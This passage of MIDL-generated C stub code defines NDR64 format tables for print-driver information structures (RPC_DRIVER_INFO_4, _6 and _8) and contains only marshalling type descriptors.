*/\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_8 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 224 /* 0xe0 */,\n        0,\n        0,\n        &__midl_frag632,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag603_t __midl_frag603 =\n{ \n/* *RPC_DRIVER_INFO_8 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag604\n};\n\nstatic const __midl_frag602_t __midl_frag602 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag583_t __midl_frag583 =\n{ \n/* RPC_DRIVER_INFO_6 */\n    { \n    /* RPC_DRIVER_INFO_6 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_6 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 152 /* 0x98 */,\n        0,\n        0,\n        &__midl_frag602,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag582_t __midl_frag582 =\n{ \n/* *RPC_DRIVER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag583\n};\n\nstatic const __midl_frag581_t __midl_frag581 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    }\n};\n\nstatic const __midl_frag566_t __midl_frag566 =\n{ \n/* RPC_DRIVER_INFO_4 */\n    { \n    /* RPC_DRIVER_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        0,\n        0,\n        &__midl_frag581,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag565_t __midl_frag565 =\n{ \n/* *RPC_DRIVER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag566\n};\n\nstatic const __midl_frag564_t __midl_frag564 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* 